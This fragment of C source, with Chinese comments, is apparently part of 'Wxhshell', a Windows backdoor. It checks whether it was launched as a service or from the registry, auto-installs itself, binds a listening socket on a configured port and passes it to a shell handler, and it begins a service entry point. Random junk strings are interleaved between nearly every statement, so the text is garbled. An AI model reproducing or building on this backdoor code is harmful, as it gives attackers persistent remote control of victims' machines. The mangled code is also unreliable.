' }K':tX? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `2-6Qv if(NULL == hInst ) return 0; +z}O*,M"q *(wkgn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); > Dy<@e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ix4O-o{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <qJI]P kDbDG,O if (!NtQueryInformationProcess) return 0; m}ZkNWH E[q:65xl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E-gI'qG\( if(!hProcess) return 0; {w:*t)@j U4)x "s[CP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <LL+\kfTZO [d
30mVM CloseHandle(hProcess); zG-pqE6 UdO(9Jc5^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yvR3| if(hProcess==NULL) return 0; cjK\(b3 r9MS,KG8 HMODULE hMod; do,ZCn char procName[255]; E)w6ZwV unsigned long cbNeeded; &U*MLf83` a7$-gW"Z(, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (zbV-4C BNi6I\wa CloseHandle(hProcess); ^u2unZ9BK! pRR1k? if(strstr(procName,"services")) return 1; // 以服务启动 m8M2ka = VIU
return 0; // 注册表启动 stGk*\>U' } ?R-4uG[( A c^hZ.qPz // 主模块 N;Hoi8W int StartWxhshell(LPSTR lpCmdLine) >A&D/kMO { (<GBhNj=c SOCKET wsl; S
$j"'K BOOL val=TRUE; 0\tV@ 6p2= int port=0; %!P^se struct sockaddr_in door; rtM29~c>@ )M3}6^s] if(wscfg.ws_autoins) Install(); xXb7/.*qE B
]*v{?<W port=atoi(lpCmdLine); T{WJf-pI L#h uTKX} if(port<=0) port=wscfg.ws_port; JG^fu*K wFbw3>'a9 WSADATA data; `-_kOxe3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ohEIr2 F:$*0! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Dh+<|6mx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z`]sWi F0 door.sin_family = AF_INET; QC\r|RXW door.sin_addr.s_addr = inet_addr("127.0.0.1"); #su R[K*S door.sin_port = htons(port); .+3~
w =Jyi9VN=& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .)(5F45Wg closesocket(wsl); (1%O;D.*?{ return 1; OQnb^fabY } uuaoBf ?uAq goCl if(listen(wsl,2) == INVALID_SOCKET) { A4K8DP closesocket(wsl); y26?>.! return 1; 6(pa2 } 0*J},#ba$ Wxhshell(wsl);
cG)U01/" WSACleanup(); C>NLZMT d\O*Ol*/v return 0; s2=`haYu .gQYN2#zb } 4De2miq xaN[ru@ // 以NT服务方式启动 D( \c?X" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kR0/jEz
C { }[;{@Zn DWORD status = 0; R1cOUV,y[/ DWORD specificError = 0xfffffff; 62.)fCQ^ S7B\mv serviceStatus.dwServiceType = SERVICE_WIN32; ntr& |